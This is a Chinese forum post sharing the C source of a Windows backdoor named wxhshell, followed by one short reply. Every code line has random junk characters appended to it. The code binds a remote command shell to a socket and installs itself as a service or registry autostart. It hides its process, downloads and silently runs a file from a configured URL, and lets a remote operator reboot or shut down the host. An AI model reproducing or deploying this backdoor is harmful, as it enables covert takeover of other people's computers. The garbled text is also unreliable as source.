  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qnfRN'  
  } vs0H^L  
  else { ;~Gpw/]5E  
ge {4;,0=  
    switch(cmd[0]) { etK,zEd  
  *ckrn>E{h  
  // 帮助 t`1]U4s&I  
  case '?': { K7O? {/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  hL{B9?  
    break; vK.4JOlRF  
  }   [aS)<^  
  // 安装 U)/Ul>dY  
  case 'i': { [ rQ(ae  
    if(Install()) wIR[2&b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 13&>w{S}  
    else K<L%@[gi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^$Io;*N4  
    break; e$^!~+J7  
    } ]o+|jgkt]  
  // 卸载 ,/b/O4`;y  
  case 'r': { |16BidWi  
    if(Uninstall()) pnA]@FW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WmVw>.]@~  
    else MqBATW.pmJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0^lL,rC   
    break; |p4OlUq  
    } -0r "#48(%  
  // 显示 wxhshell 所在路径 E)_!Hi0<s  
  case 'p': { =+-.5M  
    char svExeFile[MAX_PATH]; KZ}4<{3  
    strcpy(svExeFile,"\n\r"); >)A  
      strcat(svExeFile,ExeFile); !6/IKh`J  
        send(wsh,svExeFile,strlen(svExeFile),0); 3Q~&xNf  
    break; P_lcX;O  
    } >T*g'954xF  
  // 重启 n`KXJ?t  
  case 'b': { |AfQ_iT6c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \\G6c4 fC  
    if(Boot(REBOOT)) YxkEAb!+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KP7RrgOan&  
    else { ?ZV0   
    closesocket(wsh); ^oB1 &G  
    ExitThread(0); _>m*`:Wb  
    } |ShRxE3@'  
    break; fG$.DvJuK  
    } RHAr[$  
  // 关机 XXwhs-:o  
  case 'd': { q vVZA*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z+D,:!yF  
    if(Boot(SHUTDOWN)) s]%!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K':pU1  
    else { xAz4ZXj=q  
    closesocket(wsh); Jo(}#_y?  
    ExitThread(0); _r5Ild @n  
    } (@o />T  
    break; }qdJ8K  
    } LXF%~^^@d  
  // 获取shell j6HbJ#]  
  case 's': { 2y7q x1$C  
    CmdShell(wsh); 446hrzW>@  
    closesocket(wsh); 8=o(nFJw  
    ExitThread(0); +2 o|#`)i  
    break; vhEs+ j  
  } }R5&[hxh4t  
  // 退出 Odtck9L  
  case 'x': { ,k!f`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1V3J:W#;  
    CloseIt(wsh); }3_G|  
    break; W!B4< 'Fjc  
    } wP':B AQ4U  
  // 离开 2^ZPO4|  
  case 'q': { "#k(V=y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &8i{'k,l  
    closesocket(wsh); 7CMgvH)O  
    WSACleanup(); YY<?w  
    exit(1); c@B%`6kF  
    break;  Q<ExfJm  
        } D"f(nVEr  
  } w&cyGd D5  
  } f4I9H0d;!  
OYp8r  
  // 提示信息 fDHISJv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wSyu^KDz  
} qTMz6D!Q  
  } ujqktrhuLb  
]b| @<E7Y  
  return; <d`UifqD  
} 6i9I 4*'  
2^M+s\p  
// shell模块句柄 ^ED>{UiNI  
int CmdShell(SOCKET sock) Df3v"iCq}  
{ F X2`p_  
STARTUPINFO si; esFL<T  
ZeroMemory(&si,sizeof(si)); [eP]8G\ W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #7T={mh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J5IJy3d  
PROCESS_INFORMATION ProcessInfo; u.Yb#?  
char cmdline[]="cmd"; =e/4Gs0*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0U*"OSpF  
  return 0; PQ1NQy8  
} bK1`a{  
\bSHBTK  
// 自身启动模式 IE f^.Z  
int StartFromService(void) : {Z^ _;Tf  
{ p&l:937  
typedef struct Ud*[2Oi|R  
{ <ijmkNVS  
  DWORD ExitStatus; Z[bC@y[Wb  
  DWORD PebBaseAddress; }0>/G?2Yp  
  DWORD AffinityMask; PW4Wn`u  
  DWORD BasePriority; G_mu7w  
  ULONG UniqueProcessId; }PL  
  ULONG InheritedFromUniqueProcessId; Tic9r i  
}   PROCESS_BASIC_INFORMATION; 6&0a?Xu  
{[~,q\M[  
PROCNTQSIP NtQueryInformationProcess; I|;#VejX  
94@!.11  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yuX 0Y{:I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DP]|}8~L  
H,~In2Z  
  HANDLE             hProcess; 5&@U T  
  PROCESS_BASIC_INFORMATION pbi; +0 |0X {v  
}TL"v|ny6;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Tou~U[V+  
  if(NULL == hInst ) return 0; hI{Yg$H1  
4O^1gw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r=aQ S5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q~_jF$9SX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i=QhX CM  
iUBni&B  
  if (!NtQueryInformationProcess) return 0; Wh_c<E}&  
CI'5JOqP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  E/;YhFb[  
  if(!hProcess) return 0; \c}r6xOr  
j=S"KVp9NF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wJkkc9Rh'(  
2]ljm] \l  
  CloseHandle(hProcess); %TgM-F,8  
9Bw"VN]W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _Z2)e*(  
if(hProcess==NULL) return 0; ?3N86Qj  
P@?CQvMx  
HMODULE hMod; ':$a6f &T  
char procName[255]; X5[sw;rk  
unsigned long cbNeeded; T9?_ `h  
>WX'oP(<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mIodD)?{  
~vF o 0k(  
  CloseHandle(hProcess); a$8?0` (  
b] V=wZ o  
if(strstr(procName,"services")) return 1; // 以服务启动 gHshG;z*  
{Aw3Itef  
  return 0; // 注册表启动 RUu'9#fq  
} nQ~L.V  
3om-,gfZ  
// 主模块 .R5z>:A  
int StartWxhshell(LPSTR lpCmdLine) j(JI$  
{ E}2[P b)e  
  SOCKET wsl; h+(s/o?\  
BOOL val=TRUE; MsQS{ok+  
  int port=0; b@hoH)<9E  
  struct sockaddr_in door; |D:0BATRP  
')cu/  
  if(wscfg.ws_autoins) Install(); Yl])Q|2I  
 t m?  
port=atoi(lpCmdLine); DYK|"@  
^XVa!s,d  
if(port<=0) port=wscfg.ws_port; $*R9LPpk+  
ZrS!R[  
  WSADATA data; .Oh$sma1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t+ ]+Gn  
Q2JjBV<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   amgex$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N0C5FSH  
  door.sin_family = AF_INET; rC16?RovQ@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); my6T@0R  
  door.sin_port = htons(port); (eP)>G]  
r1]^#&V;MC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e>.xXg6Zn  
closesocket(wsl); [~wcHE  
return 1; dM$S|, H  
} ZT#G:a  
nv]64mL3  
  if(listen(wsl,2) == INVALID_SOCKET) { [bXZPIz;j  
closesocket(wsl); >2/zL.O  
return 1; mgWtjV 8  
} jXf-+ ;ZQ  
  Wxhshell(wsl); W+X zU"l  
  WSACleanup(); f?6=H^_>  
bX1ip2X lk  
return 0; < n{9pZ5.  
C2v7(  
} H<"j3qt  
_guY%2% yR  
// 以NT服务方式启动 (k~c]N)v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v*LL7b0 A  
{ Kw|`y %~  
DWORD   status = 0; ZlzFmNe60  
  DWORD   specificError = 0xfffffff; -(EqBr@_  
:JYOC+#q7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ] W_T(C*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; OH w6#N$\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -j,o:ng0  
  serviceStatus.dwWin32ExitCode     = 0; }1wuH  
  serviceStatus.dwServiceSpecificExitCode = 0; I_rVeMw=  
  serviceStatus.dwCheckPoint       = 0; Fz% n!d  
  serviceStatus.dwWaitHint       = 0; XEI]T~  
( 9l|^w["  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MNzq}(p  
  if (hServiceStatusHandle==0) return; ",m5}mk:4  
xT/&'$@{)  
status = GetLastError(); W+E2({  
  if (status!=NO_ERROR) &AVi4zV  
{ qz&)|~,\C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0% /M& N  
    serviceStatus.dwCheckPoint       = 0; "oQ@.]-#  
    serviceStatus.dwWaitHint       = 0; ZSNg^)cN  
    serviceStatus.dwWin32ExitCode     = status; Z"jo xZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; $&!U&uMt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tp7?:YY|  
    return; .(-3L9T}  
  } Sy_M!`B  
7vFqO;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .\ZxwD|  
  serviceStatus.dwCheckPoint       = 0; :lAR;[WFS  
  serviceStatus.dwWaitHint       = 0; (hoqLL\}k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xjYFTb}!  
} ;z68`P-  
=3'wHl  
// 处理NT服务事件,比如:启动、停止 M<nn+vy`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~xCy(dL^}  
{ fu/c)D6u*m  
switch(fdwControl) w#XJ!f6*_9  
{ XV&3h>5  
case SERVICE_CONTROL_STOP: cW RY[{v  
  serviceStatus.dwWin32ExitCode = 0; sXWMXQ3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; oaHBz_pg  
  serviceStatus.dwCheckPoint   = 0; ~EBZlTN  
  serviceStatus.dwWaitHint     = 0; *K;~V  
  { 2+.m44>Ti  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z!%}0  
  } e#wn;wo?  
  return; $f+9svq  
case SERVICE_CONTROL_PAUSE: bpzA ' g>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <bH>\@p7}  
  break; Z& %61jGK  
case SERVICE_CONTROL_CONTINUE: waC%o%fD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X:A\{^ ~  
  break; >nxtQ  
case SERVICE_CONTROL_INTERROGATE: d={}a,3?  
  break; 8HzEH-J   
}; aF:I]]TfK~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1\Mcs X4  
} G9 !1Wzs  
S(Pal/-"  
// 标准应用程序主函数 vv u((b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _heQ|'(  
{ _AFgx8  
7Q`4*H6  
// 获取操作系统版本 wcO+P7g  
OsIsNt=GetOsVer(); }IV7dKzl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0ode&dB  
;23F8M%wH  
  // 从命令行安装 #E#70vWp\O  
  if(strpbrk(lpCmdLine,"iI")) Install(); (<ejJPWT  
&"BKue~q@p  
  // 下载执行文件 ,FTF@h-Cs  
if(wscfg.ws_downexe) { $j:0*Z=>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JwO+Dd  
  WinExec(wscfg.ws_filenam,SW_HIDE); m*'#`vIbb  
} %63<Iz"  
43eGfp'  
if(!OsIsNt) { gnv4.f:  
// 如果时win9x,隐藏进程并且设置为注册表启动 [L8gG.wy  
HideProc(); 3laSPih[.  
StartWxhshell(lpCmdLine); PtHT>  
} 7(jt:V6V  
else a}wB7B;,g  
  if(StartFromService()) 6ugBbP +^  
  // 以服务方式启动 Po2YDj`  
  StartServiceCtrlDispatcher(DispatchTable); !} 1p:@  
else qRU8uu   
  // 普通方式启动 {M=tw  
  StartWxhshell(lpCmdLine); {f!mm3'2v  
mBNa;6w?{*  
return 0;  I{E10;  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五